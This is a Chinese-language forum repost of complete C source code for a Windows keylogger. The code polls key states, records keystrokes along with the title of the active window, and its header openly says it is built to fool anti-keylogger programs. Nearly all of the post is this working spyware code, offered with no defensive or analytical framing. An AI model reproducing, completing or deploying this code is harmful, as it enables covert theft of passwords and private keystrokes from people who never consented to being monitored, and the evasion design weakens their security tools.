发新话题
打印

[转载]无钩子的键盘记录例子代码

[转载]无钩子的键盘记录例子代码

文章作者:WinEggDrop
复制内容到剪贴板
代码:
//**********************************************************************
// Version: V1.0
// Coder: WinEggDrop
// Date Release: NULL
// Purpose: Hookless Keylogger
// Test PlatForm: Win 2K Pro And Server SP4
// Compiled On: LCC 3.0,May Compile On VC++ 6.0(Not Test Yet)
// Limitation: More Usage Of System Resource; May Not Work On Win9x
// Advantage: Hookless Technique Fools Anti-Keylogger Programs
//**********************************************************************

#include <windows.h>
#include <stdio.h>

// Some Global Variables

// Lower Case Key & Some Other Keys
char *LowerCase[]={
  "b",
  "e",
  "[ESC]",
  "[F1]",
  "[F2]",
  "[F3]",
  "[F4]",
  "[F5]",
  "[F6]",
  "[F7]",
  "[F8]",
  "[F9]",
  "[F10]",
  "[F11]",
  "[F12]",
  "`",
  "1",
  "2",
  "3",
  "4",
  "5",
  "6",
  "7",
  "8",
  "9",
  "0",
  "-",
  "=",
  "[TAB]",
  "q",
  "w",
  "e",
  "r",
  "t",
  "y",
  "u",
  "i",
  "o",
  "p",
  "[",
  "]",
  "a",
  "s",
  "d",
  "f",
  "g",
  "h",
  "j",
  "k",
  "l",
  ";",
  "&#39;",
  "z",
  "x",
  "c",
  "v",
  "b",
  "n",
  "m",
  ",",
  ".",
  "/",
  "\\",
  "[CTRL]",
  "[WIN]",
  " ",
  "[WIN]",
  "[Print Screen]",
  "[Scroll Lock]",
  "[Insert]",
  "[Home]",
  "[PageUp]",
  "[Del]",
  "[End]",
  "[PageDown]",
  "[Left]",
  "[UP]",
  "[Right]",
  "[Down]",
  "[Num Lock]",
  "/",
  "*",
  "-",
  "+",
  "0",
  "1",
  "2",
  "3",
  "4",
  "5",
  "6",
  "7",
  "8",
  "9",
  ".",
};

// Upper Case Key & Some Other Keys
char *UpperCase[]={
  "b",
  "e",
  "[ESC]",
  "[F1]",
  "[F2]",
  "[F3]",
  "[F4]",
  "[F5]",
  "[F6]",
  "[F7]",
  "[F8]",
  "[F9]",
  "[F10]",
  "[F11]",
  "[F12]",
  "~",
  "!",
  "@",
  "#",
  "\$",
  "%",
  "^",
  "&",
  "*",
  "(",
  ")",
  "_",
  "+",
  "[TAB]",
  "Q",
  "W",
  "E",
  "R",
  "T",
  "Y",
  "U",
  "I",
  "O",
  "P",
  "{",
  "}",
  "A",
  "S",
  "D",
  "F",
  "G",
  "H",
  "J",
  "K",
  "L",
  ":",
  "\"",
  "Z",
  "X",
  "C",
  "V",
  "B",
  "N",
  "M",
  "<",
  ">",
  ".?",
  "│",
  "[CTRL]",
  "[WIN]",
  " ",
  "[WIN]",
  "[Print Screen]",
  "[Scroll Lock]",
  "[Insert]",
  "[Home]",
  "[PageUp]",
  "[Del]",
  "[End]",
  "[PageDown]",
  "[Left]",
  "[Up]",
  "[Right]",
  "[Down]",
  "[Num Lock]",
  "/",
  "*",
  "-",
  "+",
  "0",
  "1",
  "2",
  "3",
  "4",
  "5",
  "6",
  "7",
  "8",
  "9",
  ".",
};

// Ascii Keys,Forget About It
int SpecialKeys[]={
  8,
  13,
  27,
  112,
  113,
  114,
  115,
  116,
  117,
  118,
  119,
  120,
  121,
  122,
  123,
  192,
  49,
  50,
  51,
  52,
  53,
  54,
  55,
  56,
  57,
  48,
  189,
  187,
  9,
  81,
  87,
  69,
  82,
  84,
  89,
  85,
  73,
  79,
  80,
  219,
  221,
  65,
  83,
  68,
  70,
  71,
  72,
  74,
  75,
  76,
  186,
  222,
  90,
  88,
  67,
  86,
  66,
  78,
  77,
  188,
  190,
  191,
  220,
  17,
  91,
  32,
  92,
  44,
  145,
  45,
  36,
  33,
  46,
  35,
  34,
  37,
  38,
  39,
  40,
  144,
  111,
  106,
  109,
  107,
  96,
  97,
  98,
  99,
  100,
  101,
  102,
  103,
  104,
  105,
  110,
};

HWND PreviousFocus=NULL;
// End Of Data

// Function ProtoType Declaration
//----------------------------------------------------------------------
BOOL IsWindowsFocusChange();
BOOL KeyLogger();
//----------------------------------------------------------------------
// End Of Fucntion ProtoType Declaration

// Main Function
int main()
{
KeyLogger();    // Run The Keylogger
return 0;    // The Program Quit
}
// End Of Main

//-------------------------------------------------------------------------
// Purpose: To Check The Active Windows Title
// Return Type: Boolean
// Parameters:  NULL
//-------------------------------------------------------------------------
BOOL IsWindowsFocusChange()
{
HWND hFocus = GetForegroundWindow();    // Retrieve The Active Windows&#39;s Focus
BOOL ReturnFlag = FALSE;    // Declare The Return Flag
if (hFocus != PreviousFocus)   // The Active Windows Has Change
{
   PreviousFocus = hFocus;    // Save The Old Active Windos Focus
    int WinLeng = GetWindowTextLength(hFocus);   // Get The Active Windows&#39;s Caption&#39;s Length
   char *WindowCaption = (char*) malloc(sizeof(char) * (WinLeng + 2));   // Allocate Memory For The Caption
   GetWindowText(hFocus,WindowCaption,(WinLeng + 1));    // Retrieve The Active Windows&#39;s Caption
   if (strlen(WindowCaption) > 0)    // Really Get The Windows&#39;s Caption
   {
     printf("\r\nThe Active Windows Title: %s\r\n",WindowCaption);   // Display The Active Windows&#39;s Caption
     ReturnFlag=TRUE;   // Indicate The Windows&#39;s Focus Has Changed
   }
   free(WindowCaption);    // Free The Allocated Memory
}
return ReturnFlag;    // Return The Flag
}// End Of IsWindowsFocusChange Function

//-------------------------------------------------------------------------
// Purpose: To Manage(Display)The Keys Retrieved From System&#39;s Key Buffer
// Return Type: Boolean
// Parameters:  NULL
//-------------------------------------------------------------------------
BOOL KeyLogger()
{
int bKstate[256] = {0};    // Declare The Key State Array
int i,x;
char KeyBuffer[600];    // Key Buffer Array
int state;   // Variable To Hode State Of Some Special Key Like CapsLock,Shift And ect
int shift;   // Variable To Hode State Of Shift Key

// Reset The Buffer
memset(KeyBuffer,0,sizeof(KeyBuffer));

while(TRUE)    // Forever Loop Is Taking Place Here
{
   Sleep(8);    // Rest For A While,And Avoid Taking 100% CPU Usage.Pretty Important To Add This Line Or The System Gets Fucked UP
   if (IsWindowsFocusChange())    //Check The Active Windows Title
   {
     if (strlen(KeyBuffer) != 0)    // Keys Are Pressed
     {
       printf("%s\r\n",KeyBuffer);    // Display The Keys Pressed
       memset(KeyBuffer,0,sizeof(KeyBuffer));    // reset The Buffer
     }
   }

   for(i=0;i<92;i++)    // Looping To Check Visual Keys
   {
     shift = GetKeyState(VK_SHIFT);    // Check Whether Shift Is Pressed
     x = SpecialKeys[ i ];   // Match The Key
     if (GetAsyncKeyState(x) & 0x8000)    // Check Combination Keys
     {
       // See Whether CapsLocak Or Shift Is Pressed
      if (((GetKeyState(VK_CAPITAL) != 0) && (shift > -1) && (x > 64) && (x < 91)))   //Caps Lock And Shift Is Not Pressed
      {
        bKstate[x] = 1;    //Uppercase Characters A-Z
      }
      else
        if (((GetKeyState(VK_CAPITAL) != 0) && (shift < 0) && (x > 64) && (x < 91)))    //Caps Lock And Shift Is Pressed
        {
          bKstate[x] = 2;    //Lowercase a-z
        }
        else
          if (shift < 0)   // Shift Is Pressed
          {
            bKstate[x] = 3;      //Uppercase Characters A-Z
          }
          else
              bKstate[x] = 4;     //Lowercase a-z
     }
     else
     {
       if (bKstate[x] != 0)    // No Combination Keys Detected
       {
         state = bKstate[x];   // Retrieve The Current State
         bKstate[x] = 0;    // Reset The Current State
         if (x == 8)    // Back Space Is Detected
         {
           KeyBuffer[strlen(KeyBuffer) - 1] = 0;   // One Key Back Then
           continue;    // Start A New Loop
         }
         else
           if (strlen(KeyBuffer) > 550)   // Buffer FULL
           {
             printf("%s <Buffer Full>",KeyBuffer);   // Display The Keys Retrieved
             memset(KeyBuffer,0,sizeof(KeyBuffer));    // Reset The Buffer
             continue;    // Start A New Loop
           }
           else
              if (x == 13)   // Enter Is Detected
             {
               if (strlen(KeyBuffer) == 0)    // No Other Keys Retrieved But Enter
               {
                 continue;    // Start A New Loop
               }
               printf("%s<Enter>\r\n",KeyBuffer);   // Retrieve Other Keys With Enter
                memset(KeyBuffer,0,sizeof(KeyBuffer));    // Display The Keys With Enter
                continue;   // Start A New Loop
             }
             else
                if ((state%2) == 1)    //Must Be Upper Case Characters
               {
                 strcat(KeyBuffer,UpperCase[ i ]);   // Store The Key To Key Buffer
               }
               else
                   if ((state%2) == 0)   // Must Be Lower Case Characters
                 {
                   strcat(KeyBuffer,LowerCase[ i ]);   // Store The Key To Key Buffer
                 }
       }
     }
   }// End Of For Loop
}// End Of While Loop
return TRUE;    // Return To The Caller
}// End Of KeyLogger Function
// End Of File
人情如冰六月寒,花做一份艳,为谁笑人间? 如果任何人发现我转载的有图像的文章中图像失效或者文章有问题,请及时短消息通知我。先谢谢。::)) coup de foudre

TOP

发新话题